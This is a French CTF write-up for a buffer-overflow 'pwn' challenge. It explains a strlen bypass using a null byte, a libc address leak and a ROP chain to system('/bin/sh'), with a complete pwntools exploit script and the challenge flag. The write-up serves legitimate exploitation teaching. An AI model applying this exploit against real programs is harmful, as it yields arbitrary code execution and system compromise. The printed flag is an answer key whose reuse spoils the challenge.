[CTF GEMA] Happy
CTF GEMA Groupe 2025
Niveau de Difficulté : Medium
Catégorie du Challenge : Pwn
Description :
Le programme vous encourage à poser des questions et à enrichir vos connaissances, mais derrière ses apparences courtoises se dissimule un défi nécessitant bien plus qu'une réponse banale. Ce qui peut sembler être une interaction anodine se métamorphose rapidement en une énigme à résoudre, sans quoi vous ne pourrez pas poursuivre votre chemin.
Steps to Solve
Buffer Overflow :
La vulnérabilité dans ce challenge est un buffer overflow, qui se produit parce que la fonction d'entrée ne valide pas correctement la longueur de la chaîne d'entrée. Voyons cela étape par étape pour comprendre comment la vulnérabilité fonctionne.
void input(char str[]) {
int i = 0;
int ch;
while((ch = getchar()) != '\n' && ch != EOF) {
str[i++] = ch;
}
str[i] = '\0';
}
La fonction input
lit les caractères depuis l'entrée standard (getchar()
) et les stocke dans le tampon str
. Cependant, le tampon str
n'est pas limité, et il n'y a aucune vérification pour s'assurer que l'entrée ne dépasse pas la taille du tampon. Cela permet à un attaquant de provoquer un buffer overflow en fournissant plus de données que la taille du tampon (64 octets, comme défini dans la fonction main
).
Si l'attaquant entre plus de 64 octets, l'entrée écrasera la mémoire au-delà du tableau message
alloué. Cela peut entraîner la corruption de parties critiques du programme, y compris les adresses de retour des fonctions, permettant l'exécution de code arbitraire.
Le morceau de code vulnérable se trouve dans la fonction main()
, où le programme attend l'entrée de l'utilisateur :
char message[64];
printf("Welcome, traveler! Here's a token of my wisdom ✨ %p\n", puts);
printf("What knowledge do you seek? ");
input(message);
Contourner la vérification de longueur :
L'exploitation de cette vulnérabilité repose sur le contournement de la vérification de longueur, puis sur l'utilisation du buffer overflow. Initialement, la fonction d'entrée lit les caractères de l'entrée de l'utilisateur jusqu'à ce qu'elle rencontre un saut de ligne \n
ou EOF. Cependant, la fonction strlen(message)
ne compte les caractères que jusqu'à ce qu'elle rencontre un octet nul \x00
.
En plaçant un octet nul à la position correcte dans l'entrée, nous pouvons faire en sorte que strlen
retourne une valeur inférieure à 64, ce qui nous permet de contourner la vérification de longueur et d'atteindre la ligne return 0
dans la fonction main
sans déclencher l'appel à exit(0)
. Cela nous permet d'exécuter notre chaîne ROP.
if(strlen(message) < 64){
puts("Return when you're ready, wanderer.");
return 0;
}
else{
exit(0);
}
Après avoir inséré l'octet nul, nous pouvons fournir une entrée supplémentaire qui dépasse la taille du tampon de 64 octets. Étant donné que la fonction d'entrée ne vérifie pas les limites une fois qu'elle a lu l'octet nul, elle continuera de lire les caractères jusqu'à ce qu'elle rencontre un saut de ligne, ce qui nous permet de provoquer un buffer overflow. Ce buffer overflow peut être exploité pour écraser des zones de mémoire critiques.
Pour détourner le flux de contrôle du programme, nous écrasons l'adresse de retour avec une chaîne ROP soigneusement construite. Cette chaîne est conçue pour appeler éventuellement la fonction system("/bin/sh")
, ce qui nous permet de lancer un shell. Le payload commence par remplir le tampon jusqu'à 64 octets avec des A
, et inclut un octet nul à la position appropriée pour contourner la vérification de longueur. Ensuite, le tampon est encore débordé, et l'adresse de retour est écrasée avec l'adresse d'un gadget ROP, spécifiquement le gadget pop r13, xchg rdi, ret
, qui permet de configurer le registre rdi
avec l'adresse de la chaîne "/bin/sh"
. Cela est suivi de l'adresse de la fonction system
et de l'adresse de la fonction exit
pour garantir que le programme se termine proprement après l'exécution du shell.
puts_leaked = int(r.recvuntil('\n').decode()[-15:], 16)
rop = ROP([elf])
pop_r13_xchg = 0x4011ce # pop r14; xchg r14, rdi; ret;
ret = rop.find_gadget(['ret'])[0]
libc.address = puts_leaked - libc.sym.puts
bin_sh = libc.search(b'/bin/sh').__next__()
system = libc.sym.system
exit = libc.sym.exit
# Construct the payload
payload = b'A' * 10 # Fill up to the 10-byte
payload += b'\x00' # Null byte to bypass strlen check
payload += b'A' * 61 # Overflow the buffer beyond 64 bytes
payload += p64(ret) # Alignment to reach the return address
payload += p64(pop_r13_xchg) # Pop gadget to set up rdi
payload += p64(bin_sh) # Address of "/bin/sh"
payload += p64(system) # System call to execute /bin/sh
payload += p64(exit) # Exit to cleanly terminate the program
Une fois que le payload est envoyé, le programme lance un shell, donnant à l'attaquant un contrôle total sur le système. Cette exploitation démontre comment une vulnérabilité de buffer overflow, combinée avec un octet nul pour contourner une vérification de longueur, peut être utilisée pour exécuter du code arbitraire, conduisant finalement à la compromission du système cible.
Solve Code :
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore")
context.log_level = "debug"
libc = None
elf = context.binary = ELF("./main")
def conn():
global libc
if args.LOCAL:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = process([elf.path])
if args.DEBUG:
gdb.attach(r)
else:
libc = ELF("./DockerLibc/libc.so.6")
r = remote("127.0.0.1", 1024)
return r
def main():
r = conn()
puts_leaked = int(r.recvuntil('\n').decode()[-15:], 16)
log.info(f'{hex(puts_leaked)=}')
rop = ROP([elf])
pop_r13_xchg = 0x4011ce # pop r14; xchg r14, rdi; ret;
# pop_r13_xchg = rop.find_gadget(["pop r14", "xchg r14, rdi", "ret"])
ret = rop.find_gadget(['ret'])[0]
log.info(f'pop_r13_xchg : {hex(pop_r13_xchg)}')
log.info(f'ret : {hex(ret)}')
libc.address = puts_leaked - libc.sym.puts
log.success(f'{hex(libc.address)=}')
bin_sh = libc.search(b'/bin/sh').__next__()
system = libc.sym.system
exit = libc.sym.exit
payload = b'A'*10 + b'\x00' + b'A'*61
payload += p64(ret)
payload += p64(pop_r13_xchg)
payload += p64(bin_sh)
payload += p64(system)
payload += p64(exit)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Flag
FLAG{M4n1pul4t3_Th3_St4ck_T0_g3t_4_sh3ll}